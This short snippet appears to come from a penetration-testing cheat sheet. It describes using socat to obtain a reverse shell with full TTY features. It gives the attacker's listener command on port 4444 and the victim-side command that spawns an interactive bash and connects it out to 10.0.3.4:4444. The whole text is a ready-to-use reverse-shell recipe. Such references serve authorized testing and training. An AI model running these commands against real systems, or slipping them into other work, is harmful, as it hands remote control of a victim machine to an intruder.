socat can be used to establish reverse shells with the features provided by a TTY for a better user experience.
Listener (attacker-controlled machine):
socat file:`tty`,raw,echo=0 tcp-listen:4444
Victim host:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444